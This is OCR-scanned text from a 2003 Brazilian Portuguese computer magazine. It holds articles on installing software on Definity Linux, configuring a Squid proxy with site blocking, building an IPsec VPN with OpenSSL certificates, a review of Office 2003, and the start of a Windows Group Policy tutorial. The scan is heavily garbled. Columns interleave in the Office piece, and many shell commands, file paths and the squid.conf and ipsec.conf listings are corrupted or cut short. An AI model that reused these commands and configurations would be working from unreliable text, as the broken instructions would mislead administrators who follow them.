Acesse o Utilitario Setub:
# setup

Escolha no menu Setup a opgao
Instalagao de pacotes do CD. Os
programas que j& estao instalados
nao serao mostrados na lista.

Para instalar um programa que
esta no formato rpm, sera preciso
antes convertg-lo para o formato do
sistema, o dpak. No mesmo local do
arquivo rpm, execute o comanda:

# dpak -R nomepacote.rpm

Com isso, serd gerado
um arquivo com a extensao
apak. Instale-o executando
0 seguinte comando:

# dpak -i nomapacote.dpak

Por ser baseado no Slackware,
0s arquivos do tipo tgz também
podem ser instalados. Basta
executar o comando:

# dpak -S nomepacote.tgz.

Apos converter o arquivo para tgz,
instale-o executando o mesmo
processo do arquivo rpm.

Na instalagéo-padrao, somente o
gerenciador de janelas KDE esta
instalado. Para instalar um novo
gerenciador, como o Gnome, por
exemplo, execute o comando:

30 remaster

Desistalar programas no sistema é muito facil

# dpak -i

/mnt/odrom/éictra/gnoma/ L

Com isso, todos os pacotes
Gnome serdo instalados. Vocé pode
fazer o mesmo processo de
instalagao pelo utilitario Setup. O
sistema possui diversos
gerenciadores de janelas, que vocé
encontra no diretério
/mnt/cdrom/extra/xap.

Instalando o OpenOffice

A instalagédo do OpenOffice no
sistema requer um pouco de
atencgao. Isso porque ele nao vem
junto com o sisterma e precisa ser
instalado a parte.

Inicie a instalagio executando o
seguinte comando:

# dpak -i /mnt/cdrom/extra
/xap/openoffice-1.0.3-i386-1 dpak

Com os arquivos necessarios
instalados, sera preciso ativa-los
para o usudrio a que vocé estd logado
no momento. Para isso, entre no modo
grafico do sistema. Abra o console e

execute o comando:

# /opt/OpenOffice/setup

Ao digitar o comando, uma tela
de configuragao aparecera. Clique
no botéo Avangar até a tela'de
escolha do tipo de instalagdo. Como

5l
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0 Wmcommander facilita o acesso a diversas pastas

0s arquivos de instalagéo ja se
encontram no computador, escolha
Instalacéo Estacéo de Trabalho e
prossiga até concluir.

Para acessar o programa, cligue
no menu K e, na lista suspensa,
selecione OpenOffice.

O OpenOffice, mesmo sendo em

portugués, nao vem com corretor
ortografico, que precisa ser instalado.
Faca o download do dicionario no link
htto:/fwww.ime.usp.br/~ueda/br.ispell/
pt BR.zip e, em seguida, no mesmo
local do arquivo, execute:

# unzip pt BRzip
Agora, copie 0s arquivos para o

diretério correspondente no
OpenQffice usando os comandos:

# cp pt_BR.aff /opt/OpenOfﬂce/
share?‘dmtfooo/

Com um editor de texto, abra o

arquivo dictionary./st, que esta no
diretdrio /opt/OpenCOffice/share/
dic/ooo/dictionary.Ist, e adicione a
seguinte linha de comando:

DICT pt BRpt BR
Abra agora o OpenOffice e, dentro

do programa, localize o menu
Ferramentas. No menu suspenso, clique
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em Opgoes. Na janela de
configuragdo, expanda a lista
Configuragdes da Lingua e clique em
idiomas. Em Idioma padr&o para
documentos, no campo Ocidental,
escolha Portugués (Brasil). Agora, na
subsegao linguistica, clique no botéo
Editar. Selecione no campo /dioma a
opgéo Portugués (Brasil) e marque o
campo Spelling: OpenOffice MySpell
SpeliChecker. Clique no boté&o Fechar
e, em seguida, OK. Feche o
programa e abra novamente para
configurar as alteracoes.

Sistema fechado

Diferente das outras
distribuices, o Definity verm com
firewall pré-configurado. Ao utilizar o
sistema em uma rede de
computadores, sera preciso habilitar
algumas regras. Para alterar essas
configuragoes, sera necessario editar
0s seguintes arquivos:

Hosts.allow — responsavel em liberar
0 acesso a outras redes.

Iptables.conf - indica qual porta os
computadores externos poderao
acessar. Ideal para restringir o acesso
a servigos que vocé mantém

.

O sistema ja traz todos os recursos e programas para funcionar na Internet

Swnnwww . definitylinux.com.br .

orte | F o

wowwr linuxstart ¢
te.com
amp br
es.org |,

funcionando somente na rede local.

O primeiro arquivo que precisa ser
configurado é o hosts.allow. Com um
editor de texto, abra o arquivo gue
est4 localizado em /etc/hosts.allow.
Vocé encontra o seguinte comando
que precisa ser alterado.

all: 12,

Essa linha de comando blogueia
todos os computadores, menos 0s
que possuem a rede que comegam
com o IP 127. Altere o valor 127. pelo
endereco da sua rede. Para habilitar
acesso a todas as redes, coloque no
lugar do enderego a informagéo ALL.
Com isso, o comando deve ficar da
seguinte maneira:

A

Em seguida, sera preciso
configurar o arquivo iptables.conf
para que os computadores consigam
acessar determinadas portas do
sistema. Como padrao, somente as
porta 22 (ssh), 5000 até 5100 (icq) e
6346 (gnutella) estao habilitadas.

As regras de firewall precisam ser
criadas manualmente, tanto para a
rede interna (local) quanto para a

rede externa (Internet). No arquivo,
vocé encontra a seguinte informagao
a ser modificada:

OUTTCP=

Nessa linha de comando, vocé
especifica a porta que 0s usuarios da
rede externa podem acessar. J& para
a rede interna, especifique as portas
na linha de comando:

INTTCP=

Se desejar adicionar mais de uma
porta, basta separé-las por virgula.

O Definity Linux pode ser adotado
por qualquer usudrio que deseja
usa-lo como sistema operacional
workstation. Devido a sua forma de
configuragao pratica, com apenas
alguns comandos, todo o sistema
estara pronto para uso com pouco
esforgo. Além disso, sua interface
permite uma fécil adaptagao por
qualquer tipo de usuario, inclusive
aqueles que ainda nac tém muita
familiaridade com o sistema Linux.

Para completar, por ser baseado
no Slackware, o Definity também &
uma boa opgéo para usuarios
avangados no pinguim. PCM
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Aprenda a turbinar

0 compartilhamento
de acesso a Internet
com 0 Servidor proxy
Squid do Linux

acesso banda larga na
maioria das empresas
brasileiras ja é uma
realidade. No entanto, o
compartilhamento do acesso para o
restante da rede ainda apresenta
dificuldades. Para solucionar o
problema, tem se propagado a

utilizagao dos servidores proxy/cache.

A grande vantagem do sistema é
que apenas uma maquina faz o
download das péaginas. Com isso,
guando dois ou mais usuarios
acessam 0 mesmo site, apenas o
servidor busca as informacdes.
Nessas caracteristicas, o Squid
desponta como uma das principais
ferramentas e tem se tornado ainda
mais popular pela facilidade de
administracéo e compatibilidade com
os diversos sistemas operacionais,
entre eles o Linux e o Windows.

Outra grande vantagem é o
controle de acesso. De maneira
simples, pode-se proibir a
visualizacao de determinados sites
ou libera-los apenas em horérios
predefinidos. A seguir, veja como
instalar o Squid no sistema Linux.

32 pC Master

Preparando o sistema

Antes de iniciar a instalagao, sera
necessario criar o grupo e o usuario
gue podera utilizar 0s recursos no
sisterna e manter sua seguranga.

Primeiro, seré preciso criar um

grupo. Execute o comando a seguir:

# groupadd -g 201 squid

Adicione agora o usuério, com
0 seguinte comando:

# useradd -d /cache/ -s /dev/null -g
squid Squid

O comando para adicionar um
usuério indica que o

diretério-padrao do Squid é cache.
Crie este diretério executando:

# mkdir /cache

Altere a permissao de escrita dos
diretorios para o usuario Squid:

# chown -R squid.squid /cache
# chmod 750 /cache
# chmod 750 /logs

Instalacao e configuragao
Faga o download da versao
estavel do Squid no endereco

http://www.squid-cache.org/.

Com o arquivo no computador,
descompacte-o executando o
comando no mesmo local do arquivo:

# tar -zxvpf squid-2.5.0x.tar.gz

Acesse o diretério que foi criado
com os comandos a seguir:

# make --prefix=/usr/local

# make install

# strip /usr/local/sbin/squid

# strip /usr/local/bin/squidclient

Acesse o diretério para encontrar
0 arquivo de configurago:

# cd /usr/local/etc

Com o Squid vocé pode restringir o
acesso de diversas maneiras. Para
bloquear alguns sites, adicione o
seguinte acl no arquivo de configuragao:

acl proibido url regex
"/usr/local /etc/proibido"

Agora, crie um arquivo no diretdrio
{usr/localfetc/ com o nome de proibido
e adicione todos os sites que vocé
desejar, sempre um embaixo do outro.
Além de enderecos, o programa
suporta a inclusao de palavras-chave.

Novamente no arquivo de
configuracéo do Squid, adicione a

seguinte linha de comando antes do

http_access allow usercomum:
http_access deny proibido

Vocé também pode bloguear o
acesso apenas em determinados
horérios. Para habilitar o acesso
somente na hora de almogo, por
exemplo, cologue as seguintes linhas
de comando no arquivo de
configuragao do Squid:

acl almoco time MTWHF 12:00-13:30
http access allow usercomum almoco
http_access deny usercomum




Como existem muitas linhas de

comando, vamos criar um novo arquivo
somente com as mais importantes.

Renomeie o arquivo com 0
seguinte comando:

# mv squid.conf squid.confbkp

Com um editor de texto, crie um
arquivo com o nome squid.conf e
adicione as seguintes linhas:

http_port 8080
icp port0 :
acl QUERY urlpath_| ragexcgr
no_cache deny ‘QUEHY,
‘cache mem 16 MB
cache dir ufs /cache 200 16 256
redirect_rewrites_host_header o
acl usercomum src
192.168.0.0/255.255.255.0
acl all src 0.0.0.0/0.0. oo
acl Safe_ports porti‘B_ ) 44
70 21 1025-65535 . :
acl CONNECT method CON ECT"’“
http_access allow userco
http_access deny !Safe_ports
http_access deny CONNECT
http_access deny all
‘cache_mgr Admm:strador@intra
‘cache_effective user squid
‘cache_effective_ group sqmd
log_icp_queries off
cachemgr passwd senhasqmd al
buffered logs on o ,

As linhas que vocé precisa editar
para o proxy funcionar corretamente
na sua rede sdo as seguintes:

acl usercomum src o
192.168.0.0/255.2565. 255 0

Nelas, sera adicionada a rede a
que vocé pretende permitir o acesso. O
nome usercomum é referente ao acl
que seré criado. Sempre que precisar
indicar um acl, basta colocar o nome.
O enderego de rede 192.168.0.0
permite que todos os usuarios que
estdo nesta faixa de enderego tenham
acesso ao proxy. Altere este enderego
de acordo com a sua rede.

-

Endarego W/}nu todw. com.br{
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The following error was encountered:

The dnsserver returned:
Name Error: The domain name does not exist.
This means that:

“The cache was not able to resolve the hostname presented in the URL.
Check if the address is comect

Your cache administrator Is galan@europanet.com.br.

The requested URL could not be retrieved
| While trying to retrieve the URL: http://www.todw.com.br/

Unable to determine IP address from host name for www.todw.com.br

Genorated Wed, 24 Sep 2003 12:01:54 GMT by pcmaster.. (squid/2.5.STABLE))

-
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Com o Squid também é possivel bloquear o acesso a sites predeterminados

Agora, precisamos criar uma
regra de acesso ao proxy. Com este
comando, vocé habilita todos 0s
usuérios do acl usercomum.

http_access deny all
Esta instrugdo blogqueia o acesso
ao proxy. No acl all foram incluidos
todos os enderecos da rede, inclusive
os enderegos do acl usercomum, mas
esses serdo ignorados por terem sido
adicionados no comando anterior.

cachemgr passwd senhasquid a
Adiciona uma senha no utilitario
cachemgr. Altere o campo senhasquid

com a senha que desejar.

Com o arquivo configurado, ative
o cache com este comando:

# squi

E inicie o servigo do sistema com
o0 seguinte comando:

O servidor ja esté funcionando.
Agora, os clientes precisam se conectar

Acl - (Lista de Controle de Acesso)
Especifica 0 nome do grupo de
computadores como uma Unica regra

pelo servidor. Dentro do Intemet Explorer,
acesse 0 menu Ferramentas e clique em
Opgbes da Internet. a em Conexoes e
depois em Configuragbes da LAN.
Cologue no campo enderego 0 nimero
de IP do servidor e em Porta, 8080.
Teste o servidor acessando
gualguer site a partir de outra
maquina na rede. Se nao acessar a
pagina ou n&o mostrar mensagem de
erro do Squid, verifigue novamente as
opgdes. O Squid tem um utilitario que
pode ser executado junto com o
programa para verificar o erro.

1 Execute o comando para
mostrar essas informagoes:

# squid -d 1

Vocé pode configurar o Squid de
diversas maneiras. No proprio manual
do programa, vocé encontra dicas
Uteis para administradores. PEM
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Conecte dois computadores com uma Rede Virtual Privada
para garantir a seguranga na transmissao de seus dados
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transferéncia de dados com o
maximo de seguranca & urm
ponto cada dia mais
funtdamental para as
empresas. Principalmente quando
existe a necessidade de troca de
informagoes entre (iliais ou guando
um axecutivo em viagem precisa
acessar 0s dados gue estao
armazenados no computador de seu
escritdrio. Para minimizar esses
fiscos, uma boa alternativa e montar
uma VPN {Virtual Private Network

arm portugués, Rede Virtual Privada),
gue utiliza os Certificados-Chave e
criptografa os dados transmitidos.

A seguranga das informagoes que
tralegam na reda & garantida gracas ao
certificado de autenticacio gerado no
servidor & que guarda todas as chaves
e senhas dos usuanos que podem se
conectar Para que sua rede possa
funcicnar corn ainda mails seguranga,
um dos melhores programeas existentes
¢ 0 IPsec, que ja estd adaptado as
Olimas versdes do protocolo TCR/IR

A revista PG Master instalou uma
VPN para fazer esle lutorial utilizando
uma rede local com dols
computadores, © equipamento
utilizado no lesle como servidor fol
um Pentium 2 de 400 Mhz, 64 Mo de
FAM e duas placas de reds com o
Slackware 9, enquanto o cliente foi
um Pentium 4 de 600 Mhz, 256 Mb
ce RAM e uma placa de rede com O
Conectiva 9. A seguir, aprenda como
configurar e usar o Linux para
transmitir dadeos criptografados.

Instalando o IPsec
A Instalacio do IPsec deve ser fetta
da mesma maneira tanto para o
servidor gquanto para o computador
cliente, Antes de inicia-la. sera
necessario nue sua maquina |a tenha
instalado os seguintes programas:

+ Kernel-Source - ¢ preciso que seja a
mesma versao que asta instalada
om seu computador

» DpensSSL - esse programa ira criar
as certificacées.



A conexao dos computadores é
feita pelo IPsec. Esse programa nao
vem instalado no sistema. Nos Linux
que utilizam o Kernel 2.4, sera
necessaria a sua compilagéo. O
programa é nativo nos Kernels
versoes 2.5 e 2.6. Para iniciar a
instalacéo, faga o download do
arquivo no seguinte site:

http://www.freeswan.ca/download.php

Existem trés tipos de arquivos
diferentes para a atualizacao do
Kernel. Baixe o arquivo que esta
logo abaixo do nome Pre-Patched
w/X.509 Support.

Com o arquivo no computador,
extraia-o com o comando:

# tar -zxvpf freeswanxx.tgz -C /usr/src

Acesse o diretdrio do programa
com o comando a seguir:

# cd /usr/src/freeswan-xx/

Agora, seré necessario compilar o

programa junto com o Kernel
usando os seguintes comandos
dentro do diretério:

# make olmod
# make minstall

A compilagao do médulo pode
demorar horas, dependendo do seu
hardware. Utilizando um Athlon XP
1.8 com 512 Mb, o tempo total de
compilagao foi de 20 minutos.

Ao concluir, reinicie o computador

para ativar as novas alteragoes.
Verifique se o IPsec foi instalado
corretamente executando o comando:

# ipsec setup start

Criando certificados
O primeiro certificado que sera
criado é o de autorizagao

(Certificado-Mestre). E nele que ficam

guardadas as informagdes sobre os
Certificados-Chave criados. Antes,
sera necessario verificar onde esta

‘./demoCA’: File exists

" JdemoCA/certs's File exists

' /demoCAsorl s File exists

' /demoCA/neucerts ' File exists
*./demoCA/privats’: File exists

bash-2,05b% . /CA,sh —newca
CA certificate filename (or enter to creats)

Making CA certificate ...
Generating a 1024 bit RSA private key
e

s key to './dencCA/private/,/cakey.pen’

[BlVou are about to be asked to enter information that uill be incorporated

[llinto your certificate request.

luhat vou are about to enter is what is called a Distinguished Name or & DN,

are quite a few fields but you can leave some blank

[For scme fields there will be a dafault value,
1 you snter '.', the field will be left blank,

Country Name (2 letter code) [AUI:ER

IState or Province Name (Full name) [Some-State]:SP
PAULO

R ocality Name (eg, city) [1:5A0

) [Internet Widgits
[ 1:PC-Hastes

Pty Ltd]:Editora Europa
"

A criagao do Certificado-Mestre é essencial para manter a seguranca da rede

instalado o utilitario CA. Para isso,
execute o seguinte comando:

# find / -name CA*
Normalmente, este arquivo fica

localizado no diretério /etc/ssl/misc/,
mas pode variar em algumas

distribuigoes. Acesse o diretdrio onde

ele foi encontrado.

Para criar o Certificado-Mestre,
digite 0 comando a seguir:

#./CA.sh -newca

Ao executd-lo, seré necessario
digitar algumas informagoes.

Os dados gue precisam ser
inseridos estéo na seguinte ordem:

» Pressione a tecla Enter

* Digite uma senha

¢ Confirme a senha

e pbr

L] Sp

sao paulo

« Pressione Enter

¢ Pressione Enter

* seu nome

* endereco de e-mail

Com o certificado criado, agora

sera necessario criar o
Certificado-Chave. Execute
novamente o comando, alterando o
parametro newca para newreq,
conforme o seguinte comando:

#./CA.sh -newreq

Esse comando ira criar um
certificado para o servidor. As
informagoes que precisam ser
inseridas nos campos a0
parecidas com o passo anterior. No
campo do nome do usuario (YOUR
name) digite servidor. Existem dois
campos adicionais logo depois de
colocar o e-mail. Basta pressionar
Enter para concluir.

Crie agora a assinatura para o
Certificado-Chave:

#./CA.sh -sign

A criacdo da assinatura e
simples. Na primeira opgao,
coloque a senha aplicada no
Certificado-Mestre e nas proximas
opgoes coloque Y. Pronto, todos 0s
certificados foram criados. »



Com todos os certificados

prontos para a criagao de um
servidor VPN, é preciso colocé-los
no devido local:

# mv newreg.pem
/etc/ipsec.d/private/servidorkey.pem
# mv newcert.pem
/ete/ipsec.d/servidorCert.pem

# cp demoCA/cacert.pem
/etc/ipsec.d/cacerts/

# openssl ca -gencrl -out
/etc/ipsec.d/crls/crl.pem

Configurando o servidor

A primeira configuracao

que precisa ser alterada é o
arquivo /etc/ipsec.secrels. Ele &
responsavel por indicar qual
certificado autenticara os usuarios.
Abra esse arquivo a partir de um
editor de texto e remova todas as
linhas de comando. Em seguida,
insira a linha:

U

: RSA servidorCert.pem "senhaarquivo

Substitua senhaarquivo pela
senha que vocé adicionou no
Certificado-Chave.

Abra agora o arquivo
[etc/ipsec.conf com um
editor de texto e remova
todas as linhas de comando
que estao no arquivo. Adicione
as novas linhas conforme
o exemplo a seguir:
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config setup
interfaces =%defaultroute
klipsdebug=none
plutodebug=all
uniqueids=yes

conn %default
keyingtries=1
compress=yes
disablearrivalcheck=no
authby=rsasig
leftrsasigkey=%cert
rightrsasigkey=%cert

conn roadwarrior-net
leftsubnet=192.168.0.0/24
also=roadwarrior

conn roadwarrior
right="%any
left=%defaultroute
leftcert=servidorCert.pem
auto=start
pfs=yes

Altere a linha de comando
leftsubnet de acordo com a
configuragao da sua rede.

Ative as novas configuragdes
reiniciando o servigo IPsec:

# ipsec setup restart

Execute 0 seguinte comando para
saber se 0 arquivo jpsed.secrets
reconheceu sua senha:
# ipsec secrets

o ativar o servigo, um novo enderego de rede seré criado

Se nao houver nenhuma
mensagem, a senha foi
reconhecida normalmente.

Configurando o cliente

A configuragao do cliente é

semelhante a do servidor. Antes
de comegar a configurar 0s arquivos,
sera necessario criar as certificagdes
para o cliente. Dentro do servidor,
acesse o diretorio /etc/ssl/misc (altere
o local caso o CA.sh esteja em outro
local) e execute o comando:

# ./CA.sh -newreqg

Siga o roteiro de cadastro
da mesma maneira do servidor.
Adicione na opgao YOUR name a
informacao cliente.

Crie o certificado de permisséo
do usuario com o comando:

# ./CA.sh -sign
Cologue a senha do
Certificado-Mestre e Y em todos

0s outros campos.

Renomeie 0s arquivos com 0s
seguintes comandos:

# mv newcert.pem clienteCert.pem
# mv newreg.pem clienteKey.pem

Agora, sera necessario copiar 0s
certificados de forma segura para o




cliente. Cologue um disquete no
computador e, ap6s montéa-lo, copie os
arquivos com os comandos a seguir:

# cp clienteCert.pem /mnt/floppy/
# cp clienteKey.pem /mnt/floppy/
# cp /etc/ipsec.d/servidorCert.pem
/mnt/floppy/

# cp /etc/ipsec.d/crls/crl.pem
/mnt/floppy/

# cp demoCA/cacert.pem
/mnt/floppy/

No computador cliente, acesse 0
disquete e copie os arquivos para
seus respectivos locais:

# cp clienteCert.pem /etc/ipsec.d/
# cp clienteKey.pem
/etc/ipsec.d/private/

# cp servidorCert.pem /etc/ipsec.d/
# cp crl.pem /etc/ipsec.d/crls/

# cp cacert.pem
/etc/ipsec.d/cacerts/

Em seguida, a partir de um editor

de texto, abra o arquivo
letclipsec.secrets, remova as linhas
de comando existentes e insira uma
nova linha, conforme o exemplo:

: RSA clienteKey.pem "senhaarquivo”

Altere a opgao senhaarquivo de
acordo com as instrugdes que vocé
adicionou ao cadastrar o
Certificado-Chave para o cliente.

Clientes

No arquivo de

configuragéo do IPsec,
vocé precisa indicar o
endereco IP que esta no
servidor. Abra o arquivo
Jetc/ipsec.conf a partir de
um editor de texto e remaova
todo o conteudo do
arquivo. Adicione as novas
linhas de comando da
seguinte maneira:

config setup
interfaces=%defaultroute
klipsdebug=none
plutodebug=none
uniqueids=yes

conn %default
keyingtries=0
compress=yes
disablearrivalcheck=no
authby=rsasig
leftrsasigkey=%cert
rightrsasigkey=%cert

conn roadwarrior-net
left="200.128.45.x

Ieftsubnet#_ 192.168.0.0/255.55.255.0
also=roadwarrior -
conn roadwarrior
left=(ip.of.host)

leftcert =servidorCert.pem
right="%defaultroute
rightcert=clienteCert.pem
auto=add
pfs=yes

Clientes

As Unicas informagdes que
precisam ser modificadas para a sua
rede funcionar séo o campo left e 0
leftsubnet. No campo feft, coloque 0
endereco de IP do servidor € no
campo leftsubnet cologue 0 enderego
da sua rede local.

Para ativar o servigo, execute o
seguinte comando:

# ipsec setup start
# ipsec auto --up roadwarrior
# ipsec auto --up roadwarrior-net

Se vocé deseja que seu computador
se conecte automaticamente ao servidor,
altere a linha de comando auto=add
do arquivo ipsec.conf do cliente para
auto =start.

Verifique se tudo esta funcionando
corretamente executando um ping para
o servidor. A mensagem "Verificando IP
seguro" deve aparecer na tela.

Se o sinal de ping nao for enviado,
verifique o que aconteceu de errado
analisando os logs de mensagem. O log
de mensagem de erro fica localizado no
arquivo Nvar/log/secure e 0 arquivo de
mensagem de inicializagdo do programa
esta em Nar/log/messages. As vezes, a
chave esta no diretdrio errado. PCM
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Microsoft fechou o més de
outubro com mais um grande
langamento mundial, A
emprasa coloocou no mercado
uma nova versao do mais utilizado
aplicativo de escritdric. O Office 2003
apresenta coma principals vanlagens
uma maior possibilidade de interacao
entre os diversos programas e

- lancamento
facilidade de usa.

A principal inovagao desta nova

: sufte 4 a possibilidade de compartilhar
COHhE‘QS as novidades o Uso de um mesmao arquivo por
ao novo fan(;amento da diversos Usudrios conectados a uma
Microsoft. o Office 2003 e mesma rede, Isso so & possivel gragas
! 3 &s novas tecnologlas que estao

saiba se vale a pena investir disponiveis nos programas da sulte.
para aruaﬁzar 2 sua versao As modificagbes gue essa versao
recebeu suprem a necessidade de
e, empresas que manipulam grandes
' guantidades ce arquivos, peguenas
empresas que desejam administrar
melhor seus clientes e até mesmo
um simples usuario. Veja quais foram
as principais maedificagoes aplicadas
a0 pacole;

Gerenciamento em grande escala - com a
implementagao nativa da tecnologia
Extensible Markup Language (XML}, &
possivel integrar grupos de pessoas
para determinadas tarefas em um unico
arquiva de texio simultansamenta.

Estrulura simples e olimizada — em todas

as ferramentas Oifice, a estrutura das
janclas esta mais limpa. Além disso. 0
i . novo Dutlook conta com Novos recursos
= " — i 3 e de administracio de tarefas, ctimizando
Sobre 3 nova 'IIBI'_S-'t;Ii]_ ainda maig o trabalho
Protecao de informacao o controles de
As aleragtes dos programas foram ‘seguinta configuragao; frograma com o suporte &
fanas para supfr as necossidades mals » Windows 2000 corn Service gerenciamento de recursos do Wincows
EOrHUNS Hue anies SO eram possivals Pack 3, Windows XE Server 2003 é possivel blogquear taretas
atraves da corripra de oulros programeas » Pantium il como enviar e-rmail anexado, imprirmir ou
Para gue nada desse erado, a Microsefit * 128 MB de memoria RAM até mesmo bloguear mensagens gue
disponibiizou para os interessadas um kit = 500 MB de espaco em disco | NG possuem autorizagao.
para teste corm lodos os anicativos - : :
inclusos no pacota Office. Ko total, fomam Al dissa, & recomendével qua voce: i
distribuidas gﬁ mif coplas, trés verzes mals lenhis instalado um servidor gue :;]ossua'a Reunides a distancia t 0 rav Lirce
que & sua versao anterior. Para desfritar Windows Sarver 2003 com o aplicative adolou em sua estrutura uma farma
melhor 08 recurses B NOve programd, & SharelFcint Service ativado para que o de comunicagao instantanea atraves
necessaro que seu computador péssuaa  Office tenha um desempenho melhor, de e-mail ou trabalhando com
e 7 arquivos online, utilizando o recurso
38 PCMaster
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seu aplicativo, o Usuaric que
pretende fazer a atualizacdo dos
programas precisa tomar alguns
cuidados. Antes de fazar um

do SharePaint Services (disponivel
somente no Windows Server 2003).

Vale a pena mudar?

Entretanto, apesar das grandes
incvagbes teitas pela Microscft em

investimento, & precisc saber se o
Office atual ndo atende mais as

Versoes

Com tanta variagao de produtos —I
da novo OFice, a Microscft langou
seis verstas para diferentes
necessidades. Veja o que cada
versao do pacote oferace:

Micresatt Oftice Prafessional 2003
Enlerprise Editien - ideal para clientes
corporativos. Essa versao acompanha
toda 4 linha de produtos Office,
incllundo Publisher 2003 & Business
Contact Managar and InfoPath 2003
& varsan e vendida somente para
armpresas que comprarem o produta
am granaes guantidades

Microsaft Office Professional 2003
ldleal para empresas gue precisan
trabalhar com vanos clienles e
parceifos por ter suporte integrado
XML para sisternas de back-end de
tacil Interigagac com-seus clignies.
Disponivel no varejo, instiuigées de
ansing g em comouiadores Novos,

Microsoft Office Standard 2003 Edition
Possui somente o8 aplcativos
oasicos do-Office. Ercontrada
laciimerte em varejo. Melhor opGao
para licenga por volume,

Microsoit Dffice Small Business 2003
Edition — e pequenas emprasas,
eada-cera a melhor solugaa: Inclui as
ferramenias de negdcios Microsofl
Office Business Contact Manager
2003 & Microsoft Publisher 2003

Microsofl Office Basic 2003 Edition
Versao exclusiva para POs novos
Cistribulda na forma de OEM (possui
somenta o CD 8 contrato de jicenca).

Microsett Office Student and Teacher
2003 Edition — com as mesmas
caracteristicas da versao Standard, &
voltade para Instiuicoes de ensing.

Emi todas a5 opgoss. 05 programas
Wiord, Excel e Outlook ja estdo
inciusos. Na versgo Enlerprise voch
ainda conta com os programas
PowerPoint, Access, Publisher e
Businass Contact Managear.




~0 Lancamento

Tecnologia KML

A particioacao da tecnologia XML
rio nove Office & essencial para o
sucesso do programa. Veja o que -
iss0 muda nas suas feramanlas;

XML - padroniza ern suas propriedades
a estrutura de dados ou informagbes
gue podern ser ransmilidas usande a
Internet ou a rede local, Isto significa
que podem ficar disponiveis na Internet
utilizande um navegador comum, bem
camo outras aplicagoes que precisarn
de dados de diferentes fontes

R

Word - no Word 2003 é possivel salvar
esguemas de grguives predefinidas
atraviés do recurso do XML Voce pode
tambem salvar os arquivos ja criados
em oUtras versoes do Word para esse
formato. Com isso, serd possivel
utlizar o arguivo erm forma de banco
de dados. podendo sar consultado
por outros aplicativas que supcitam
essa formate. ;

Excel - os dadoe através do esquemna
XML padem agara ser lides tarmbam
pelo novo Excel 2003, Em-arquivos que
possuam essa estrulura, pode-se
modificar as tabelas ou gréficos em real
time para a anallge am quaiguer
formato do Excel.

Access - no Access, & ideal para
extrair dados de uma ou mals tabelas
da base de dados. Com o novo
programa, 0s usufrios podem
navegar pelas tabelas reldcionades e
sxporlar dados delinndo com-a
astruiure de urn X80,

Com a tecnologia XML (xSDs) &
possivel crdar um ambients de trabathic
predefinido, cnde colaboradores
podam estruturar seus dados sempre
da mesma maneira, ou sejg, com um
unico modelo de trabalho,

[Heew i
s st s ODMAD NS & L-A-mmzag]
D' Daviy For by

Ihn I

suas necessidades e se a nava
versao atende as deficiéncias que
VOTE encontra.

A nava sulte da Microsoft é ideal
para trabalhos em redes, onde
existe a necessidade de varios
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usudrios ulilizarem o mesmo arguivo
simultaneamente, mas isso so se vocé
tiver um servidor Windows Server
2003, Qutlra vantagem & para quem
precisa fazer integragoes de video em
apresentagdes do PowerPoint.
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Tutorial Windows

GControle sua rede como

roup
Policy

Aprenda a configurar
sua rede Windows
Server 2003 de uma
maneira mais eficiente
e sequra com recursos
do préprio sistema

Por Toni Cavalheiro
toni@textodigital.com.br

uando se fala em
de redes
40 basta
apenas configurar os
melhores firawalls e mantar
poderosas estruturas de hardware
Um bom administrador dave
dos usuarios
itando gue os atagues
tenham origem de dentro da
mesma emp E amente
para ajuda-lo ta tarefa que o
Server 2003 e o0 Windows
0 disponitilizam um recursa
Group Policy,
lUma Group Policy, coma o
Jprio nome sugere, e uma
a de seguranga que se aplica
minada e de sua
ade. Imagine que voce fenha uma
estacao de trabalho gue ndo possa
ser desligada nunca. Com o auxilio

de uma Group Policy especifica, €
1| blogquear o acesso ao
ey St |
v (R LE

P

tir que nenhum Lsuaro

desligue esla estagao por engang.

As possibilidades sao
snormes, Ha pc 1e
seguranca para controlar
softwares, gerenciar

rios da re

mesmo para evitar a instalag
de programas piratas dentro da
empresa. Veja, a seguir, tudo o
que v precisa para aproveitar
este recurso.
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Alguns conceitos basicos

Existemn basicamente dois tipos
de Group Policy: as locais & as de
rede. Uma Group Policy local, comao
vocé & deve ter imaginado, se
aplica &s conlas da propria
maguing, ou seja, qualquer conta
que ndo necessile de um logon no
senidorn Este tipo de politica pode ser
bastante Util em uma magquina
doméstica gue & compartiihada por
varias pesscas, mas nao tem grande
utilidade dentro de um ambiente
corporativo. A melhor atitude gue vocé
deve tomar ¢ desativar todas as
conlas locais das maguinas dos
usuarios e ohbriga-los
a se conectarem ao servidor, Com
i8s0, voce ganha duas coisas
bésicas: um aurnento na seguranca
da rede e um suporte mais facilitado,
uma vez que a maioria dos
problermas podera ser solucionada
sem que um lécnico tenha de se
deslocar até a maquina do usuaria,

0 segundo lipo de Group Policy
& o mais interessante para ser usado
gm uma empresa. Uma Group Policy
de rede pods limitar 08 poderes de
todos os integrantes da rede. Se

S

vocd tem um usuario gue 80 precisa
usar o Word, por exemplo, pode
lorgar esta configuragio para que o
editor de textos carregue sozinho
sempre que a conta for utilizada, de
lorma gue o usuario nao consiga
fechar o programa sem efetuar ©
logoff (em cutras palavras, voceé
carregou o Word sem chamar ©
explorer.exs).

Mas anles de continuar, &
preciso revisar alguns conceitos de
redes Windows, O Windows Server
2003 & todo bassado no Active
Direclory, um ambignte de rede que
utiliza florestas, dominias, arvores e
OUs (do inglés Organizational Unit,
arm poriugués, Unidade
Organizacional) para organizar sua
rade. Este &8 o mesmo conceito
usado em diversos outros
softwares, como gs servidores
NetWare § ou superiores & os

gervidores Linux & UNIX gue utilizam -

LDAP Para usar as Group Policies
de rede de uma maneira eficiente,
seu servidar deve, obrigatoriaments,
ser promovido para Domain
Controller, Se vocé ainda néo tem
urm servidor com esta caracteristica,

0 poder das GPs

B O Wincows Server 2003 cortla
com meis de 800 politicas que pedem
sar configuradas de-acordn com & sus
necessidade £ claro que ninguém
precisa ficar decorando fodas slas. ja
que a feramenta de administragao de
politicas & multo eficiente e mostra
uma pecuaca descrigio de cada uma
delzs Mo enanto, para faciiitar um
POUCH 88 coisas, veja alguns dos
recursos qus vool pode configurar
com as Grotp Policles:

= Configurar quase tatalmente
o Interme: Explorer.

» Configurar o Windows Explorer

+ Bloguear o acesso a0
- Windows Update.

. Hmmw O BUSE50 a0
Fainil de Controla.

» Evitar que o8 usudrios
- adicionam fovas imprassaras.

* Configurar as tarcfas
- do T+ Al=Del

+ Defifiro tempo das segsdes
dos Terminal Samnvicas,

« Impedir qua o Windows
